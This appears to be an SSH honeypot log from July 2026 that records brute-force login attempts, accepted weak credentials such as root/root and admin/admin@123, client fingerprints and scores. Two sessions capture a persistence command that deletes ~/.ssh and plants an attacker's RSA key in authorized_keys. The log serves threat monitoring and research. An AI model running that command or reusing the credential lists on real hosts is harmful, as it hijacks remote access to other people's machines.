[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e9702d357218

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e9702d357218",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:46:36.370810Z",
  "end_time": "2026-07-29T17:46:40.691971Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Hh123456789"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

171.243.150.132

2026-07-29 17:45:17.479012 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 0l0ctyQh243O63uD

Record ID: 3428e80b6e5c

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 6.3s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "3428e80b6e5c",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:45:17.479012Z",
  "end_time": "2026-07-29T17:45:23.750015Z",
  "duration": "6.3",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "0l0ctyQh243O63uD"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:44:09.102479 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 68c726d89459

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "68c726d89459",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:44:09.102479Z",
  "end_time": "2026-07-29T17:44:09.811907Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:44:07.246442 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b1c8171af2bc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b1c8171af2bc",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:44:07.246442Z",
  "end_time": "2026-07-29T17:44:08.989060Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:44:05.669103 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / q12we34rt56y

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d1204725850f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d1204725850f",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:44:05.669103Z",
  "end_time": "2026-07-29T17:44:09.819130Z",
  "duration": "4.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "q12we34rt56y"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

27.79.2.68

2026-07-29 17:43:52.314898 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 224dc62d002e

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 52.8s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "224dc62d002e",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:43:52.314898Z",
  "end_time": "2026-07-29T17:44:45.132272Z",
  "duration": "52.8",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

179.32.53.148

2026-07-29 17:41:27.905637 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: psg

Record ID: 9d1e8899c343

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9d1e8899c343",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:41:27.905637Z",
  "end_time": "2026-07-29T17:41:29.653192Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "psg",
      "pass": "psg"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-07-29 17:40:44.448252 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 52002e76703c

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "52002e76703c",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-29T17:40:44.448252Z",
  "end_time": "2026-07-29T17:40:45.604918Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

27.79.2.68

2026-07-29 17:40:00.435737 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: guest / guest

Record ID: eccb45c45275

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 19.8s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "eccb45c45275",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:40:00.435737Z",
  "end_time": "2026-07-29T17:40:20.252506Z",
  "duration": "19.8",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "guest",
    "pass": "guest"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.25

2026-07-29 17:39:46.699858 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 250884

Record ID: 19b34e05666d

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "19b34e05666d",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-29T17:39:46.699858Z",
  "end_time": "2026-07-29T17:39:52.712783Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "250884"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

171.243.150.132

2026-07-29 17:39:16.316097 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: system

Record ID: a096d18bce80

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 4.2s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "a096d18bce80",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:39:16.316097Z",
  "end_time": "2026-07-29T17:39:20.519157Z",
  "duration": "4.2",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [
    {
      "user": "system",
      "pass": "OkwKcECs8qJP2Z"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.243.150.132

2026-07-29 17:38:11.188795 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root123

Record ID: b08da61596e6

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 2.1s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "b08da61596e6",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:38:11.188795Z",
  "end_time": "2026-07-29T17:38:13.251986Z",
  "duration": "2.1",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:37:38.749974 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ftp_client

Record ID: d1e78a041872

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d1e78a041872",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:37:38.749974Z",
  "end_time": "2026-07-29T17:37:40.542960Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ftp_client",
      "pass": "ftp_client"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

116.181.16.25

2026-07-29 17:37:36.985838 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1795cdea0929

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1795cdea0929",
  "src_ip": "116.181.16.25",
  "start_time": "2026-07-29T17:37:36.985838Z",
  "end_time": "2026-07-29T17:39:37.007391Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

91.92.43.109

2026-07-29 17:36:49.285129 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 998608373df3

Client Version: Unknown

Engagement Duration: 1.7s

{
  "id": "998608373df3",
  "src_ip": "91.92.43.109",
  "start_time": "2026-07-29T17:36:49.285129Z",
  "end_time": "2026-07-29T17:36:51.011225Z",
  "duration": "1.7",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

74.119.144.57

2026-07-29 17:36:10.033750 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1675a5c48853

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1675a5c48853",
  "src_ip": "74.119.144.57",
  "start_time": "2026-07-29T17:36:10.033750Z",
  "end_time": "2026-07-29T17:38:10.043140Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

202.103.55.158

2026-07-29 17:35:16.363015 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0b02e35b5c69

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "0b02e35b5c69",
  "src_ip": "202.103.55.158",
  "start_time": "2026-07-29T17:35:16.363015Z",
  "end_time": "2026-07-29T17:37:16.393605Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

27.79.2.68

2026-07-29 17:34:29.394687 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin@123

Record ID: 9707c7af156d

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 2.4s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "9707c7af156d",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:34:29.394687Z",
  "end_time": "2026-07-29T17:34:31.836705Z",
  "duration": "2.4",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin@123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

27.79.2.68

2026-07-29 17:32:23.940421 UTC

SUCCESSFUL LOGIN SCORE: 60

Credential acceptance event recorded. Target authentication: root / root

Record ID: eeae59731828

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 1m 48s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "eeae59731828",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:32:23.940421Z",
  "end_time": "2026-07-29T17:34:12.239252Z",
  "duration": "108.3",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 60,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.112

2026-07-29 17:31:09.828093 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: dalila

Record ID: 19e3ae700af6

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "19e3ae700af6",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-29T17:31:09.828093Z",
  "end_time": "2026-07-29T17:31:16.348574Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "dalila",
      "pass": "dalila"
    },
    {
      "user": "dalila",
      "pass": "dalila1"
    },
    {
      "user": "dalila",
      "pass": "dalila123"
    },
    {
      "user": "dalila",
      "pass": "dalila1234"
    },
    {
      "user": "dalila",
      "pass": "dalila12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.243.150.132

2026-07-29 17:28:34.585730 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: a544cd513319

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 4.1s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "a544cd513319",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:28:34.585730Z",
  "end_time": "2026-07-29T17:28:38.643359Z",
  "duration": "4.1",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

192.252.215.6

2026-07-29 17:27:45.091628 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f79d79888870

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "f79d79888870",
  "src_ip": "192.252.215.6",
  "start_time": "2026-07-29T17:27:45.091628Z",
  "end_time": "2026-07-29T17:29:45.101743Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

171.243.150.132

2026-07-29 17:27:39.515026 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: config

Record ID: bc6a57fcd53b

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 26.3s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "bc6a57fcd53b",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:27:39.515026Z",
  "end_time": "2026-07-29T17:28:05.804664Z",
  "duration": "26.3",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [
    {
      "user": "config",
      "pass": "config"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-07-29 17:27:12.517433 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bot

Record ID: c351763af112

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c351763af112",
  "src_ip": "2.57.122.238",
  "start_time": "2026-07-29T17:27:12.517433Z",
  "end_time": "2026-07-29T17:27:14.359331Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "bot",
      "pass": "12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.166.167.47

2026-07-29 17:27:09.831361 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e415b02537b6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e415b02537b6",
  "src_ip": "70.166.167.47",
  "start_time": "2026-07-29T17:27:09.831361Z",
  "end_time": "2026-07-29T17:29:09.867133Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

27.79.2.68

2026-07-29 17:26:20.998438 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: squid

Record ID: 276ec5719a30

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 2.9s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "276ec5719a30",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:26:20.998438Z",
  "end_time": "2026-07-29T17:26:23.931741Z",
  "duration": "2.9",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [
    {
      "user": "squid",
      "pass": "squid"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-07-29 17:25:29.406130 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bot

Record ID: ab3a8799c376

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ab3a8799c376",
  "src_ip": "2.57.122.238",
  "start_time": "2026-07-29T17:25:29.406130Z",
  "end_time": "2026-07-29T17:25:31.243493Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "bot",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}